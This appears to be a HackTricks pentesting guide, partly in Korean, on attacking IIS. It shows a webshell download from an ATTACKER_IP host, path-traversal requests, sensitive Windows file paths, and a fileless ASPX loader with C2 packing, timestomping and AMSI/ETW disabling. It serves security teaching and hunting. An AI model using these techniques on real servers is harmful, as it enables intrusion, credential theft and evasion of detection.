IIS - Internet Information Services

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

ํ…Œ์ŠคํŠธ์šฉ ์‹คํ–‰ ํŒŒ์ผ ํ™•์žฅ์ž:

  • asp
  • aspx
  • config
  • php

Writable webroot โ†’ ASPX command shell

๊ถŒํ•œ์ด ๋‚ฎ์€ ์‚ฌ์šฉ์ž/๊ทธ๋ฃน์ด C:\inetpub\wwwroot์— ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด, ASPX webshell์„ ์—…๋กœ๋“œํ•˜์—ฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํ’€ ์•„์ด๋ดํ‹ฐํ‹ฐ๋กœ์„œ OS ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ข…์ข… SeImpersonatePrivilege ๊ถŒํ•œ์„ ๋ณด์œ ํ•ฉ๋‹ˆ๋‹ค).

  • ACLs ํ™•์ธ: icacls C:\inetpub\wwwroot ๋˜๋Š” cacls .๋กœ ์‚ฌ์šฉ์ž/๊ทธ๋ฃน์— (F)๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.
  • PowerShell์„ ์‚ฌ์šฉํ•ด command webshell(์˜ˆ: fuzzdb/tennc cmd.aspx)์„ ์—…๋กœ๋“œ:
iwr http://ATTACKER_IP/shell.aspx -OutFile C:\inetpub\wwwroot\shell.aspx
  • /shell.aspx๋ฅผ ์š”์ฒญํ•˜๊ณ  ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์„ธ์š”; ์‹๋ณ„(identity)์€ ์ผ๋ฐ˜์ ์œผ๋กœ iis apppool\defaultapppool๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค.
  • AppPool ํ† ํฐ์— SeImpersonatePrivilege๊ฐ€ ์žˆ์„ ๋•Œ Potato-family LPE(์˜ˆ: GodPotato/SigmaPotato)์™€ ๊ฒฐํ•ฉํ•˜์—ฌ SYSTEM์œผ๋กœ ํ”ผ๋ฒ—ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‚ด๋ถ€ IP ์ฃผ์†Œ ๋…ธ์ถœ

302๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ๋ชจ๋“  IIS ์„œ๋ฒ„์—์„œ Host header๋ฅผ ์ œ๊ฑฐํ•˜๊ณ  HTTP/1.0์„ ์‚ฌ์šฉํ•ด๋ณด์„ธ์š”. ์‘๋‹ต ๋‚ด๋ถ€์˜ Location header๊ฐ€ ๋‚ด๋ถ€ IP ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

nc -v domain.com 80
openssl s_client -connect domain.com:443

๋‚ด๋ถ€ IP๋ฅผ ๋…ธ์ถœํ•˜๋Š” ์‘๋‹ต:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

.config ํŒŒ์ผ ์‹คํ–‰

You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: Download example here

More information and techniques to exploit this vulnerability here

IIS Discovery Bruteforce

์ œ๊ฐ€ ๋งŒ๋“  ๋ฆฌ์ŠคํŠธ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜์„ธ์š”:

๋‹ค์Œ ๋ฆฌ์ŠคํŠธ๋“ค์˜ ๋‚ด์šฉ์„ ํ•ฉ์ณ์„œ ์ƒ์„ฑํ–ˆ์Šต๋‹ˆ๋‹ค:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

ํ™•์žฅ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜์ง€ ๋ง๊ณ  ์‚ฌ์šฉํ•˜์„ธ์š”. ํ•„์š”ํ•œ ํŒŒ์ผ๋“ค์€ ์ด๋ฏธ ํ™•์žฅ์ž๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

Path Traversal

Leaking source code

์ „์ฒด ๋ถ„์„์€ ๋‹ค์Œ ๊ธ€์„ ํ™•์ธํ•˜์„ธ์š”: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

์š”์•ฝํ•˜์ž๋ฉด, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํด๋”๋“ค ์•ˆ์—๋Š” ์—ฌ๋Ÿฌ ๊ฐœ์˜ web.config ํŒŒ์ผ์ด ์žˆ์œผ๋ฉฐ, ์ด๋“ค์€ โ€œassemblyIdentityโ€ ํŒŒ์ผ๋“ค๊ณผ โ€œnamespacesโ€ ๋ฅผ ์ฐธ์กฐํ•ฉ๋‹ˆ๋‹ค. ์ด ์ •๋ณด๋ฅผ ํ†ตํ•ด where are executables located ๋ฅผ ํŒŒ์•…ํ•˜๊ณ  ํ•ด๋‹น ์‹คํ–‰ ํŒŒ์ผ๋“ค์„ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋‹ค์šด๋กœ๋“œํ•œ Dlls ๋กœ๋ถ€ํ„ฐ๋„ ์ƒˆ๋กœ์šด namespaces ๋ฅผ ์ฐพ์•„ ์ ‘๊ทผ์„ ์‹œ๋„ํ•˜๊ณ  web.config ํŒŒ์ผ์„ ์–ป์–ด ๋” ๋งŽ์€ namespaces ์™€ assemblyIdentity ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋˜ํ•œ connectionstrings.config ์™€ global.asax ํŒŒ์ผ๋“ค์—๋„ ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

In .Net MVC applications, the web.config file plays a crucial role by specifying each binary file the application relies on through โ€œassemblyIdentityโ€ XML tags.

๋ฐ”์ด๋„ˆ๋ฆฌ ํŒŒ์ผ ํƒ์ƒ‰

An example of accessing the web.config file is shown below:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

์ด ์š”์ฒญ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‹ค์–‘ํ•œ ์„ค์ • ๋ฐ ์ข…์†์„ฑ์„ ๊ณต๊ฐœํ•ฉ๋‹ˆ๋‹ค:

  • EntityFramework ๋ฒ„์ „
  • AppSettings (์›นํŽ˜์ด์ง€, ํด๋ผ์ด์–ธํŠธ ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ ๋ฐ JavaScript์šฉ)
  • System.web์˜ ์ธ์ฆ ๋ฐ ๋Ÿฐํƒ€์ž„ ๊ตฌ์„ฑ
  • System.webServer ๋ชจ๋“ˆ ์„ค์ •
  • Runtime์˜ ์–ด์…ˆ๋ธ”๋ฆฌ ๋ฐ”์ธ๋”ฉ(์˜ˆ: Microsoft.Owin, Newtonsoft.Json, System.Web.Mvc ๋“ฑ ๋งŽ์€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ)

์ด๋Ÿฌํ•œ ์„ค์ •์€ /bin/WebGrease.dll ๊ฐ™์€ ํŠน์ • ํŒŒ์ผ์ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ /bin ํด๋” ๋‚ด์— ์œ„์น˜ํ•จ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

๋ฃจํŠธ ๋””๋ ‰ํ„ฐ๋ฆฌ ํŒŒ์ผ

๋ฃจํŠธ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ๋ฐœ๊ฒฌ๋˜๋Š” ํŒŒ์ผ๋“ค, ์˜ˆ: /global.asax ๋ฐ /connectionstrings.config(๋ฏผ๊ฐํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์Œ)๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ตฌ์„ฑ ๋ฐ ๋™์ž‘์— ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค.

๋„ค์ž„์ŠคํŽ˜์ด์Šค์™€ Web.Config

MVC ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ๊ฐ ํŒŒ์ผ์—์„œ ๋ฐ˜๋ณต ์„ ์–ธ์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ํŠน์ • ๋„ค์ž„์ŠคํŽ˜์ด์Šค์— ๋Œ€ํ•ด ์ถ”๊ฐ€ web.config files๋ฅผ ์ •์˜ํ•˜๊ธฐ๋„ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋‹ค๋ฅธ web.config๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๋ผ๋Š” ์š”์ฒญ์—์„œ ํ™•์ธ๋ฉ๋‹ˆ๋‹ค:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLL ๋‹ค์šด๋กœ๋“œ

์‚ฌ์šฉ์ž ์ง€์ • ๋„ค์ž„์ŠคํŽ˜์ด์Šค์˜ ์–ธ๊ธ‰์€ /bin ๋””๋ ‰ํ„ฐ๋ฆฌ์— WebApplication1๋ผ๋Š” DLL์ด ์กด์žฌํ•จ์„ ์•”์‹œํ•ฉ๋‹ˆ๋‹ค. ์ด์–ด์„œ WebApplication1.dll์„ ๋‹ค์šด๋กœ๋“œํ•˜๋Š” ์š”์ฒญ์ด ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

์ด๋Š” /bin ๋””๋ ‰ํ„ฐ๋ฆฌ์— System.Web.Mvc.dll ๋ฐ System.Web.Optimization.dll ๊ฐ™์€ ๋‹ค๋ฅธ ํ•„์ˆ˜ DLL๋“ค์ด ์กด์žฌํ•จ์„ ์‹œ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

DLL์ด WebApplication1.Areas.Minded๋ผ๋Š” ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋ฅผ ์ž„ํฌํŠธํ•˜๋Š” ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š”, ๊ณต๊ฒฉ์ž๊ฐ€ **/area-name/Views/**์™€ ๊ฐ™์€ ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ ๊ฒฝ๋กœ์— ๋‹ค๋ฅธ web.config ํŒŒ์ผ๋“ค์ด ์กด์žฌํ•˜๋ฉฐ ํ•ด๋‹น ํŒŒ์ผ๋“ค์ด ํŠน์ • ๊ตฌ์„ฑ๊ณผ /bin ํด๋”์˜ ๋‹ค๋ฅธ DLL๋“ค์— ๋Œ€ํ•œ ์ฐธ์กฐ๋ฅผ ํฌํ•จํ•œ๋‹ค๊ณ  ์ถ”์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด /Minded/Views/web.config์— ๋Œ€ํ•œ ์š”์ฒญ์€ ๊ตฌ์„ฑ๊ณผ ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋ฅผ ๋“œ๋Ÿฌ๋‚ด์–ด ๋‹ค๋ฅธ DLL์ธ WebApplication1.AdditionalFeatures.dll์˜ ์กด์žฌ๋ฅผ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณตํ†ต ํŒŒ์ผ

์ถœ์ฒ˜: here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 ์˜ค๋ฅ˜

If you see an error like the following one:

๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜๊ฐ€ ํ‘œ์‹œ๋œ๋‹ค๋ฉด:

์ด๋Š” ์„œ๋ฒ„๊ฐ€ Host ํ—ค๋”์— ์˜ฌ๋ฐ”๋ฅธ ๋„๋ฉ”์ธ ์ด๋ฆ„์„ ๋ฐ›์ง€ ๋ชปํ–ˆ๋‹ค๋Š” ๋œป์ž…๋‹ˆ๋‹ค.
์›น ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•˜๋ ค๋ฉด ์ œ๊ณต๋œ SSL Certificate์„ ํ™•์ธํ•ด ๋„๋ฉ”์ธ/์„œ๋ธŒ๋„๋ฉ”์ธ ์ด๋ฆ„์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ๋งŒ์•ฝ ์—†๋‹ค๋ฉด ์˜ฌ๋ฐ”๋ฅธ ํ˜ธ์ŠคํŠธ๋ฅผ ์ฐพ์„ ๋•Œ๊นŒ์ง€ brute force VHosts๊ฐ€ ํ•„์š”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•”ํ˜ธํ™”๋œ ๊ตฌ์„ฑ ๋ฐ ASP.NET Core Data Protection key rings ๋ณตํ˜ธํ™”

IIS์—์„œ ํ˜ธ์ŠคํŒ…๋˜๋Š” .NET ์•ฑ์—์„œ ๋น„๋ฐ€์„ ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•œ ๋‘ ๊ฐ€์ง€ ์ผ๋ฐ˜์ ์ธ ํŒจํ„ด์€:

  • web.config์˜ ๊ฐ™์€ ์„น์…˜์„ ์œ„ํ•œ ASP.NET Protected Configuration (RsaProtectedConfigurationProvider).
  • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋น„๋ฐ€๊ณผ ์ฟ ํ‚ค๋ฅผ ๋ณดํ˜ธํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ASP.NET Core Data Protection key ring (๋กœ์ปฌ์— ์ €์žฅ๋จ).

์›น ์„œ๋ฒ„์— ํŒŒ์ผ์‹œ์Šคํ…œ ๋˜๋Š” ์ธํ„ฐ๋ž™ํ‹ฐ๋ธŒ ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด, ๊ฐ™์€ ์œ„์น˜์— ์žˆ๋Š” ํ‚ค๋กœ ๋ณตํ˜ธํ™”๊ฐ€ ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค.

  • ASP.NET (Full Framework) โ€“ decrypt protected config sections with aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core โ€“ Data Protection key rings๊ฐ€ ๋กœ์ปฌ์— ์ €์žฅ๋œ ์œ„์น˜๋ฅผ ํ™•์ธํ•˜์„ธ์š” (XML/JSON ํŒŒ์ผ), ์˜ˆ:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • ์•ฑ์ด ๊ด€๋ฆฌํ•˜๋Š” ํด๋”(์˜ˆ: App_Data\keys ๋˜๋Š” ์•ฑ ์˜†์˜ Keys ๋””๋ ‰ํ„ฐ๋ฆฌ)

key ring์„ ํ™•๋ณดํ•˜๋ฉด, ์•ฑ์˜ identity๋กœ ์‹คํ–‰๋˜๋Š” ์šด์˜์ž๊ฐ€ ๋™์ผํ•œ ๋ชฉ์ (purposes)์œผ๋กœ IDataProtector๋ฅผ ์ธ์Šคํ„ด์Šคํ™”ํ•ด ์ €์žฅ๋œ ๋น„๋ฐ€์„ unprotectํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. key ring์„ ์•ฑ ํŒŒ์ผ๊ณผ ํ•จ๊ป˜ ์ €์žฅํ•˜๋Š” ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์€ ํ˜ธ์ŠคํŠธ๊ฐ€ ์นจํ•ด๋œ ์ดํ›„ ์˜คํ”„๋ผ์ธ ๋ณตํ˜ธํ™”๋ฅผ ๋งค์šฐ ์‰ฝ๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

Phantom Taurus/NET-STAR ํˆดํ‚ท์€ w3wp.exe ๋‚ด๋ถ€์—์„œ ์™„์ „ํžˆ ๋™์ž‘ํ•˜๋Š” fileless IIS persistence ๋ฐ postโ€‘exploitation์˜ ์„ฑ์ˆ™ํ•œ ํŒจํ„ด์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. ํ•ต์‹ฌ ์•„์ด๋””์–ด๋Š” ๋งž์ถค tradecraft๋‚˜ ํƒ์ง€/ํ—ŒํŒ…์— ๊ด‘๋ฒ”์œ„ํ•˜๊ฒŒ ์žฌ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: ํ•˜๋‚˜์˜ .aspx ํŽ˜์ด์ง€(์˜ˆ: OutlookEN.aspx)๊ฐ€ Base64๋กœ ์ธ์ฝ”๋”ฉ๋˜๊ณ  ์„ ํƒ์ ์œผ๋กœ Gzip์œผ๋กœ ์••์ถ•๋œ .NET DLL์„ ๋‹ด์Šต๋‹ˆ๋‹ค. ํŠธ๋ฆฌ๊ฑฐ ์š”์ฒญ์ด ๋“ค์–ด์˜ค๋ฉด ์ด๋ฅผ ๋””์ฝ”๋“œยท์••์ถ• ํ•ด์ œํ•˜๊ณ  ํ˜„์žฌ AppDomain์œผ๋กœ reflectively ๋กœ๋“œํ•œ ํ›„ ๋ฉ”์ธ ์ง„์ž…์ (์˜ˆ: ServerRun.Run())์„ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • Cookieโ€‘scoped, encrypted C2 with multiโ€‘stage packing: ์ž‘์—…/๊ฒฐ๊ณผ๋Š” Gzip โ†’ AESโ€‘ECB/PKCS7 โ†’ Base64๋กœ ๋ž˜ํ•‘๋˜์–ด ์–ผํ• ํ•ฉ๋ฒ•์ ์œผ๋กœ ๋ณด์ด๋Š” cookieโ€‘heavy ์š”์ฒญ์„ ํ†ตํ•ด ์ด๋™ํ•ฉ๋‹ˆ๋‹ค; ์šด์˜์ž๋Š” ์ฒญํฌ ์ฒ˜๋ฆฌ์— ์•ˆ์ •์ ์ธ ๊ตฌ๋ถ„์ž(์˜ˆ: โ€œSTARโ€)๋ฅผ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค.
  • Reflective .NET execution: ์ž„์˜์˜ managed assembly๋ฅผ Base64๋กœ ๋ฐ›์•„ Assembly.Load(byte[])๋กœ ๋กœ๋“œํ•˜๊ณ  ์šด์˜์ž ์ธ์ž๋ฅผ ์ „๋‹ฌํ•˜์—ฌ ๋””์Šคํฌ๋ฅผ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ ๋„ ๋ชจ๋“ˆ์„ ๋น ๋ฅด๊ฒŒ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.
  • Operating in precompiled ASP.NET sites: ์‚ฌ์ดํŠธ๊ฐ€ precompiled ์ƒํƒœ์ผ ๋•Œ์—๋„ ๋ณด์กฐ shell/backdoor๋ฅผ ์ถ”๊ฐ€/๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ: dropper๊ฐ€ ๋™์  ํŽ˜์ด์ง€/ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ config ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์ด์šฉ). ์ด๋Š” bypassPrecompiledApp, addshell, listshell, removeshell ๊ฐ™์€ ๋ช…๋ น์œผ๋กœ ๋…ธ์ถœ๋ฉ๋‹ˆ๋‹ค.
  • Timestomping/metadata forgery: changeLastModified ์•ก์…˜์„ ๋…ธ์ถœํ•˜๊ณ  ๋ฐฐํฌ ์‹œ(๋ฏธ๋ž˜์˜ ์ปดํŒŒ์ผ ํƒ€์ž„์Šคํƒฌํ”„ ํฌํ•จ) timestompํ•˜์—ฌ DFIR์„ ๋ฐฉํ•ดํ•ฉ๋‹ˆ๋‹ค.
  • Optional AMSI/ETW preโ€‘disable for loaders: 2๋‹จ๊ณ„ ๋กœ๋”๋Š” Assembly.Load๋ฅผ ํ˜ธ์ถœํ•˜๊ธฐ ์ „์— AMSI์™€ ETW๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜์—ฌ inโ€‘memory ํŽ˜์ด๋กœ๋“œ์˜ ๊ฒ€์‚ฌ ๊ฐ€๋Šฅ์„ฑ์„ ์ค„์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ตœ์†Œํ•œ์˜ ASPX loader ํŒจํ„ด

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hardโ€‘coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Packing/crypto ํ—ฌํผ (Gzip + AESโ€‘ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize โ†’ gzip โ†’ AESโ€‘ECB โ†’ Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session ํ๋ฆ„ ๋ฐ ๋ช…๋ น ํ‘œ๋ฉด

  • Session bootstrap ๋ฐ tasking์€ ์ •์ƒ์ ์ธ ์›น ํ™œ๋™๊ณผ ์„ž์ด๋„๋ก cookies๋ฅผ ํ†ตํ•ด ์ „๋‹ฌ๋œ๋‹ค.
  • ์‹ค์ œ๋กœ ๊ด€์ฐฐ๋œ ๋ช…๋ น์—๋Š” ๋‹ค์Œ์ด ํฌํ•จ๋œ๋‹ค: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; ๊ทธ๋ฆฌ๊ณ  ๋™์  ์‹คํ–‰ ์›์‹œ์ธ code_self, code_pid, run_code๋Š” ๋ฉ”๋ชจ๋ฆฌ ์ƒ์˜ .NET ์‹คํ–‰์„ ์œ„ํ•ด ์‚ฌ์šฉ๋œ๋‹ค.

Timestomping ์œ ํ‹ธ๋ฆฌํ‹ฐ

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Assembly.Load ์ด์ „์— AMSI/ETW๋ฅผ ์ธ๋ผ์ธ์œผ๋กœ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ธฐ (loader variant)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md

Hunting notes (defenders)

  • ๋‹จ์ผ์˜, ์ด์ƒํ•˜๊ฒŒ ๊ธด Base64/Gzip ๋ธ”๋กญ์„ ํฌํ•จํ•œ ASPX ํŽ˜์ด์ง€; ์ฟ ํ‚ค๊ฐ€ ๋งŽ์€ POST ์š”์ฒญ.
  • w3wp.exe ๋‚ด๋ถ€์— ๋ฐฑ์—…๋˜์ง€ ์•Š์€ managed ๋ชจ๋“ˆ; Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run ๊ฐ™์€ ๋ฌธ์ž์—ด.
